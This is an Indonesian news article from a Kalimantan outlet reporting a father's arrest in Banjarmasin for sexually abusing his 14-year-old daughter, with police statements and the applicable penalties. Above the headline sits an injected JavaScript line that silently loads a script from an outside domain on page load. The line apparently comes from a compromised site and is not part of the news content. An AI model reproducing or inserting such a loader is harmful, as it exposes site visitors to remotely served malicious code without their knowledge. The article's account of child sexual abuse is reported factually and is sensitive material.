(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Ayah ‘Gauli’ Anak Kandung di Banjarmasin, SR Terancam 15 Tahun Penjara


KANALKALIMANTAN.COM, BANJARMASIN – Kasus kekerasan seksual terhadap anak di bawah umur terjadi di Kota Banjarmasin Provinsi Kalimantan Selatan (Kalsel).

Anak korban masih berusia 14 tahun duduk di Sekolah Menengah Pertama (SMP).

Mirisnya, pencabulan dilakukan oleh ayah kandung sendiri berinisial SR (41).

Saat ini, pelaku SR sudah ditangkap oleh Subdit I Unit IV Ditreskrimum Polda Kalsel dan telah ditetapkan sebagai tersangka.

Baca juga: Ustadz Maulana Hadiri Peringatan Isra Mikraj dan Milad ke-3 Armus Kapuas

Direktur Ditreskrimum Polda Kalsel Kombes Pol Erick Frendriz SIK MSi melalui Kabagbinopsnal AKBP Sutrisno mengatakan, kekerasan seksual dilakukan SR pada Senin (23/1/2024) malam hari, saat keadaan rumah sedang sepi.

“Saat itu ibu anak korban tidak ada di rumah, kemudian anaknya dibujuk untuk melakukan hubungan suami istri,” katanya.

Kabagbinopsnal Polda Kalsel AKBP Sutrisno. Foto: rizki

Tindak asusila pada malam itu, kata AKBP Sutrisno, tidak berlangsung lama dan berakhir ketika pelaku mendengar langkah kaki kedatangan istrinya yang tiba di rumah.

Kasus pencabulan tersebut terungkap ketika si anak korban memberanikan diri bercerita kepada neneknya.

Baca juga: IRT Terlibat Kredit Kupedes Fiktif Rp2,7 Miliar Bank BUMN di Banjarbaru

“Jadi malam itu anak korban pergi nginap ke rumah neneknya, di sana bercerita, kemudian besok paginya neneknya bercerita kepada sang ibu,” ujar AKBP Sutrisno.

Sehari setelah kejadian, tepatnya pada Selasa (24/1/2024) siang, setelah mendapatkan informasi dari nenek tentang pencabulan anaknya, ibu anak korban langsung membuat laporan polisi.

Pelaku pun pada hari yang sama langsung diamankan oleh Unit I Subdit IV Ditreskrimum Polda Kalsel. Saat diintrogasi, pelaku SR mengakui perbuatannya telah menggauli anak kandungnya itu.

Terkait adanya cerita bahwa sebelum digauli oleh ayahnya, anak korban sudah dalam kondisi hamil 7 bulan karena pernah digauli oleh orang lain. Meski diakui SR anaknya hamil 7 bulan, Kabagbinopsnal Polda Kalsel belum dapat memastikan hal itu.

“Kita belum cek, nanti pendalaman oleh penyidik,” ujarnya.

Baca juga: DPMD Kapuas Gelar Lomba Inovasi TTG, Ini Syarat Mengikutinya

Masih kata AKBP Sutrisno, pelaku SR dijerat pasal 81 ayat 1 dan 2 jo pasal 76 Undang-Undang Nomor 23 Tahun 2022 tentang Perlindungan Anak dengan ancaman hukuman minimal 5 tahun dan maksimal 15 tahun penjara.

“Tapi kalau dilakukan kepada anak kandung, itu dapat ditambah sepertiga dari ancaman hukuman,” ujar Kabag Binopsnal.

Saat ini, penyidik kata AKBP Sutrisno sedang melakukan pengumpulan sejumlah alat bukti dan keterangan saksi maupun ahli sebelum perkaranya dilimpahkan ke Kejaksaan.

Sementara anak korban telah berada di bawah pendampingan Dinas Pemberdayaan Perempuan dan Perlindungan Anak (DP3A) Kalsel. (Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : bie

 


Risa

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.